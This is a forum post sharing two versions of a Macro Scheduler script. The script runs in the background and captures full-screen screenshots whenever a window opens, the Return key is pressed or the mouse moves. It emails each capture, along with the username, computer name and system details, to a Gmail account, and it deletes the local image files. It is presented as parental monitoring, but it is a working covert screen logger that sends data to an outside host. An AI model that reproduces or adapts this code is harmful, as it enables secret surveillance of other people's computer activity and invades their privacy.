PC Image Monitoring Script

Example scripts and tips (replaces Old Scripts & Tips archive)

Moderators: Dorian (MJT support), JRL, Phil Pendlebury

Post Reply
MadQuestion
Pro Scripter
Posts: 70
Joined: Wed Nov 08, 2017 6:54 pm

PC Image Monitoring Script

Post by MadQuestion » Sun Dec 10, 2017 1:05 pm

Ok so I was playing around trying to get a way to monitor my scripts through emailed screen shots when I realized that with a little tweak the same script could be used to set up a monitoring program that runs in the background of my kids computer monitoring what they are doing online and with the family PC, the script is constantly waiting for a few chosen event such as the press of the return key or if the mouse cursor has moved when the event happens it takes a screen shot of the whole screen and emails it to your chosen email address. It is set up to work for Gmail but you could tweak it further for adding various screen sizes and other email accounts other than gmail. Anyways here is my script incase anyone wants to use it like I am......
I also realize this script could also be used for wrong doing also but this was not my intention when I was writing it. PLease use this script responsibly!

Code: Select all

Ask>Would You Like To Monitor The Activity On This Computer?,MONITORING
If>MONITORING=NO
  GoTo>CANCELPOINT
Endif
Let>INPUT_PASSWORD=0
Let>INPUT_BROWSE=0
Input>USEREMAILADDRESS,Which Email Do You Wish To Use?,
Let>INPUT_PASSWORD=1
Let>INPUT_BROWSE=0
Input>USEREMAILPASSWORD,Please Enter Your Email Address Password,
Let>COUNT=0
Label>KEEPLOGGERGOINGPOINT
SRT>SCREENLOGGER
Label>WAITFORINTERNET
DeleteFile>%SCRIPT_DIR%\BOTSTARTSCREENIMAGE.jpg
IsConnectedToInternet>INTERNETCONNECTION
If>INTERNETCONNECTION=True
  GoTo>GOODTOSTART
Else>INTERNETCONNECT=False
  Wait>10
  GoTo>WAITFORINTERNET
Endif
Label>GOODTOSTART
GetDate>todays_date
GetTime>current_time
Let>SENTTOADDRESS=%USEREMAILADDRESS%
Let>MSGSUBJECT=%USER_NAME% SCREEN LOGGER
Let>body=Date : %todays_date% %CRLF%Time : %current_time% %CRLF%Operating System : %OS_VER% %CRLF%Windows Directory : %WIN_DIR% %CRLF%System Directory : %SYS_DIR% %CRLF%Username : %USER_NAME% %CRLF%Computer Name : %COMPUTER_NAME% %CRLF%MSched Version: %MSCHED_VER%
Let>SENDMAIL_STATUS=0
Let>SMTP_SSL=1
Let>SMTP_AUTH=1
Let>SMTP_USERID=%USEREMAILADDRESS%
Let>SMTP_PASSWORD=%USEREMAILPASSWORD%
Let>SMTP_PORT=465
Let>subject=%MSGSUBJECT%
Let>me=%USEREMAILADDRESS%
Let>myname=%USER_NAME% Screen Grabs
Let>recipients=%USEREMAILADDRESS%
ScreenCapture>0,0,1920,1080,%SCRIPT_DIR%\PREVIEW.jpg
Let>ATTACHMENT=%SCRIPT_DIR%\PREVIEW.jpg
SMTPSendMail>recipients,smtp.gmail.com,me,myname,subject,body,ATTACHMENT
IfFileExists>%SCRIPT_DIR%\PREVIEW.jpg
  DeleteFile>%SCRIPT_DIR%\PREVIEW.jpg
Endif
DeleteFile>%SCRIPT_DIR%\PREVIEW.jpg
GoTo>WAITFORINTERNET
END>SCREENLOGGER
SRT>GETKEYDOWN
WaitKeyDown>VK13
GoSub>SCREENLOGGER
END>GETKEYDOWN
SRT>MYKUNGFU
GetCursorPos>nXPos1,nYPos1,csType1
Wait>1
GetCursorPos>nXPos2,nYPos2,csType2
If>nXPos1<>%nXPos2%
  Let>BRUCELEE=True
Else
  Let>BRUCELEE=False
Endif
If>nYPos1<>%nYPos2%
  Let>BRUCELEE=True
Else
  Let>BRUCELEE=False
Endif
END>MYKUNGFU
SRT>DELETEALLTRACES
DeleteFile>%SCRIPT_DIR%\PREVIEW.jpg
END>DELETEALLTRACES
OnEvent>WINDOW_OPEN,*,,SCREENLOGGER
OnEvent>WINDOW_NEWACTIVE,*,,SCREENLOGGER
OnEvent>KEY_DOWN,,,GETKEYDOWN
OnEvent>CUSTOM,MYKUNGFU,BRUCELEE,SCREENLOGGER
OnEvent>WINDOW_NOTOPEN,KingsBOT 2.1,,DELETEALLTRACES
GoTo>KEEPLOGGERGOINGPOINT
Label>CANCELPOINT
The script below will allow various screen sizes.

Code: Select all

Ask>Would You Like To Monitor The Activity On This Computer?,MONITORING
If>MONITORING=NO
  GoTo>CANCELPOINT
Endif
Let>INPUT_PASSWORD=0
Let>INPUT_BROWSE=0
Input>SCREENWIDTH,What Is The Screen Width,1920
Input>SCREENHEIGHT,What Is The Screen Height,1080
Let>INPUT_PASSWORD=0
Let>INPUT_BROWSE=0
Input>USEREMAILADDRESS,Which Email Do You Wish To Use?,
Let>INPUT_PASSWORD=1
Let>INPUT_BROWSE=0
Input>USEREMAILPASSWORD,Please Enter Your Email Address Password,
Let>COUNT=0
Label>KEEPLOGGERGOINGPOINT
SRT>SCREENLOGGER
Label>WAITFORINTERNET
DeleteFile>%SCRIPT_DIR%\BOTSTARTSCREENIMAGE.jpg
IsConnectedToInternet>INTERNETCONNECTION
If>INTERNETCONNECTION=True
  GoTo>GOODTOSTART
Else>INTERNETCONNECT=False
  Wait>10
  GoTo>WAITFORINTERNET
Endif
Label>GOODTOSTART
GetDate>todays_date
GetTime>current_time
Let>SENTTOADDRESS=%USEREMAILADDRESS%
Let>MSGSUBJECT=%USER_NAME% SCREEN LOGGER
Let>body=Date : %todays_date% %CRLF%Time : %current_time% %CRLF%Operating System : %OS_VER% %CRLF%Windows Directory : %WIN_DIR% %CRLF%System Directory : %SYS_DIR% %CRLF%Username : %USER_NAME% %CRLF%Computer Name : %COMPUTER_NAME% %CRLF%MSched Version: %MSCHED_VER%
Let>SENDMAIL_STATUS=0
Let>SMTP_SSL=1
Let>SMTP_AUTH=1
Let>SMTP_USERID=%USEREMAILADDRESS%
Let>SMTP_PASSWORD=%USEREMAILPASSWORD%
Let>SMTP_PORT=465
Let>subject=%MSGSUBJECT%
Let>me=%USEREMAILADDRESS%
Let>myname=%USER_NAME% Screen Grabs
Let>recipients=%USEREMAILADDRESS%
ScreenCapture>0,0,%SCREENWIDTH%,%SCREENHEIGHT%,%SCRIPT_DIR%\PREVIEW.jpg
Let>ATTACHMENT=%SCRIPT_DIR%\PREVIEW.jpg
SMTPSendMail>recipients,smtp.gmail.com,me,myname,subject,body,ATTACHMENT
IfFileExists>%SCRIPT_DIR%\PREVIEW.jpg
  DeleteFile>%SCRIPT_DIR%\PREVIEW.jpg
Endif
DeleteFile>%SCRIPT_DIR%\PREVIEW.jpg
GoTo>WAITFORINTERNET
END>SCREENLOGGER
SRT>GETKEYDOWN
WaitKeyDown>VK13
GoSub>SCREENLOGGER
END>GETKEYDOWN
SRT>MYKUNGFU
GetCursorPos>nXPos1,nYPos1,csType1
Wait>1
GetCursorPos>nXPos2,nYPos2,csType2
If>nXPos1<>%nXPos2%
  Let>BRUCELEE=True
Else
  Let>BRUCELEE=False
Endif
If>nYPos1<>%nYPos2%
  Let>BRUCELEE=True
Else
  Let>BRUCELEE=False
Endif
END>MYKUNGFU
SRT>DELETEALLTRACES
DeleteFile>%SCRIPT_DIR%\PREVIEW.jpg
END>DELETEALLTRACES
OnEvent>WINDOW_OPEN,*,,SCREENLOGGER
OnEvent>WINDOW_NEWACTIVE,*,,SCREENLOGGER
OnEvent>KEY_DOWN,,,GETKEYDOWN
OnEvent>CUSTOM,MYKUNGFU,BRUCELEE,SCREENLOGGER
OnEvent>WINDOW_NOTOPEN,KingsBOT 2.1,,DELETEALLTRACES
GoTo>KEEPLOGGERGOINGPOINT
Label>CANCELPOINT

Post Reply
Sign up to our newsletter for free automation tips, tricks & discounts